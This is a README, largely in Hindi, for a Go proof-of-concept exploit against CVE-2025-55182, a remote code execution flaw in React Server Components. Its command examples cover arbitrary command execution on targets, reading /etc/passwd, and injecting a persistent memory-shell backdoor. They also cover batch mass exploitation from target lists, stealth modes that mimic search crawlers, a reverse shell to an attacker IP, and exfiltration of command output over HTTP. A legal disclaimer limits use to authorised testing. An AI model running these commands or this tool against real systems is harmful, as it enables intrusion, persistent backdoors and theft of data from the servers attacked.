
CVE-2025-55182 React Server Components RCE - Go PoC
⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए ⚠️
CVE-2025-55182 (जिसे CVE-2025-66478 के नाम से भी जाना जाता है) React Server Components (Flight प्रोटोकॉल) में एक गंभीर Remote Code Execution (RCE) भेद्यता है। यह टूल सुरक्षा अनुसंधान और अधिकृत पेनेट्रेशन परीक्षण के लिए PoC का एक Go कार्यान्वयन है।
प्रभावित संस्करण:
यह एक्सप्लॉइट Flight प्रोटोकॉल डिसीरियलाइज़ेशन में प्रोटोटाइप पॉल्यूशन का लाभ उठाता है:
$@ डिसीरियलाइज़ेशन का उपयोग करता हैChunk.prototype.then को रूट ऑब्जेक्ट के then प्रॉपर्टी के रूप में रखता हैinitializeModelChunk को कॉल करने के लिए स्टेटस को RESOLVED_MODEL पर सेट करता हैresponse._formData.get को कॉल करता हैresponse._formData.get को Function कंस्ट्रक्टर पर सेट करता है/exec?cmd= पर स्थायी बैकडोरअपने प्लेटफ़ॉर्म के लिए नवीनतम रिलीज़ GitHub Releases से डाउनलोड करें।
उपलब्ध बाइनरी:
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC
# Build for current platform
go build -o cve-2025-55182 .
# Or build for all platforms
chmod +x build.sh
./build.sh
./build.sh चलाने के बाद, सभी समर्थित प्लेटफ़ॉर्मों के लिए बाइनरी build/ निर्देशिका में उपलब्ध होंगी।
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check
# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check
# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell
# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell
# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure
# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
# Batch check from file
./cve-2025-55182 --urls targets.txt --check
# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json
# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10
# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
# Start listener on attacker machine first:
nc -lvnp 4444
# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
# Start listener: nc -lvnp 4444
socks5://user:pass@ip:port - SOCKS5 with authentication
socks5://ip:port - SOCKS5 without authentication
socks5h://ip:port - SOCKS5 with remote DNS resolution
socks4://ip:port - SOCKS4 proxy
socks4a://ip:port - SOCKS4a proxy
http://user:pass@ip:port - HTTP proxy with authentication
http://ip:port - HTTP proxy without authentication
https://ip:port - HTTPS proxy
| मोड | विवरण |
|---|---|
browser | वास्तविक ब्राउज़र अनुरोधों की नकल करता है (Chrome, Firefox, Safari, Edge) - डिफ़ॉल्ट |
crawler | सर्च इंजन क्रॉलर की नकल करता है (Googlebot, Bingbot, Baiduspider, आदि) |
security | सुरक्षा स्कैनर User-Agent का उपयोग करता है (Nessus, Nuclei) |
मेमोरी शेल सुविधा एक स्थायी बैकडोर इंजेक्ट करती है जो:
cmd क्वेरी पैरामीटर स्वीकार करता है# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
.
├── main.go # CLI entry point
├── pkg/
│ ├── colors/
│ │ └── colors.go # Terminal colors with --nocolor support
│ ├── exploit/
│ │ └── exploit.go # Core exploit logic, memory shell, version detection
│ ├── proxy/
│ │ └── proxy.go # SOCKS4/5, HTTP proxy support
│ ├── scanner/
│ │ └── scanner.go # Batch scanning with JSON output
│ └── stealth/
│ └── stealth.go # User-Agent randomization
├── build.sh # Cross-platform build script
├── go.mod # Go module file
├── go.sum # Go dependencies
└── README.md # This file
build.sh स्क्रिप्ट 30+ प्लेटफ़ॉर्मों के लिए बिल्ड करती है:
chmod +x build.sh
./build.sh
--json फ़्लैग का उपयोग करने पर, परिणाम JSONL प्रारूप में सहेजे जाते हैं (प्रति पंक्ति एक JSON):
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
पूर्ण रिपोर्ट (_report.json) में शामिल है:
{
"scan_time": "2025-12-06T12:00:00Z",
"total_urls": 100,
"vulnerable_count": 5,
"safe_count": 90,
"timeout_count": 5,
"results": [...]
}
यह टूल Next.js संस्करण का पता लगा सकता है:
X-Powered-By हेडर__NEXT_DATA__, /_next/ पथ)भेद्य संस्करण लाल रंग में हाइलाइट किए जाते हैं।
⚠️ महत्वपूर्ण कानूनी सूचना ⚠️
यह टूल केवल शैक्षिक उद्देश्यों और अधिकृत सुरक्षा परीक्षण के लिए प्रदान किया गया है।
इस टूल का उपयोग करना सख्त रूप से निषिद्ध है:
कंप्यूटर प्रणालियों तक अनधिकृत पहुँच दुनिया भर के अधिकांश क्षेत्राधिकारों में एक आपराधिक अपराध है, जिसमें निम्न शामिल हैं पर इन्हीं तक सीमित नहीं:
यह सॉफ़्टवेयर "जैसा है" (AS IS) प्रदान किया गया है, बिना किसी प्रकार की स्पष्ट या निहित वारंटी के। लेखक और कॉपीराइट धारक इस सॉफ़्टवेयर के उपयोग से उत्पन्न किसी भी दावे, क्षति, या अन्य दायित्व के लिए उत्तरदायी नहीं होंगे।
इस टूल को डाउनलोड करके, इंस्टॉल करके, या उपयोग करके, आप स्वीकार करते हैं कि:
यदि आप इन शर्तों से सहमत नहीं हैं, तो इस टूल का उपयोग न करें।
Vladislav Tislenko aka keklick1337
दिनांक: 2025-12-05
यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।
जिम्मेदारी से उपयोग करें। कानून का पालन करें। 🔐
| विकल्प | विवरण |
|---|
-u, --url | लक्ष्य URL (जैसे, http://localhost:3000) |
-f, --file | लक्ष्य URL वाली फ़ाइल (प्रति पंक्ति एक) |
--urls | -f/--file का उपनाम |
-o, --output | भेद्य लक्ष्यों के लिए आउटपुट फ़ाइल |
--json | परिणाम JSON प्रारूप में आउटपुट करें |
-c, --command | निष्पादित करने के लिए कमांड (आउटपुट के साथ) |
--check | भेद्यता की जाँच करें |
--version-check | Next.js संस्करण का पता लगाएं |
--proxy | प्रॉक्सी URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port) |
-H, --header | कस्टम हेडर (कई बार उपयोग किया जा सकता है) |
-k, --insecure | SSL/TLS प्रमाणपत्र सत्यापन छोड़ें |
--stealth | स्टील्थ मोड: browser, crawler, security (डिफ़ॉल्ट: browser) |
--delay | अनुरोधों के बीच विलंब (जैसे, 2s, 500ms) |
--variants | गहन जाँच के लिए कई पेलोड वेरिएंट का उपयोग करें |
--memshell | मेमोरी शेल इंजेक्ट करें (स्थायी बैकडोर) |
--test-shell | जाँचें कि मेमोरी शेल सक्रिय है या नहीं |
--shell-exec | मेमोरी शेल के माध्यम से कमांड निष्पादित करें |
--revshell IP PORT | रिवर्स शेल स्थापित करें |
--exfil CMD IP PORT | कमांड निष्पादित करें और आउटपुट POST करें |
-t, --timeout | सेकंड में अनुरोध टाइमआउट (डिफ़ॉल्ट: 15) |
--threads | समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट: 10) |
--workers | --threads का उपनाम |
--nocolor | रंगीन आउटपुट अक्षम करें (Windows/पाइप के लिए) |
-h, --help | सहायता संदेश दिखाएं |
-v, --version | संस्करण दिखाएं |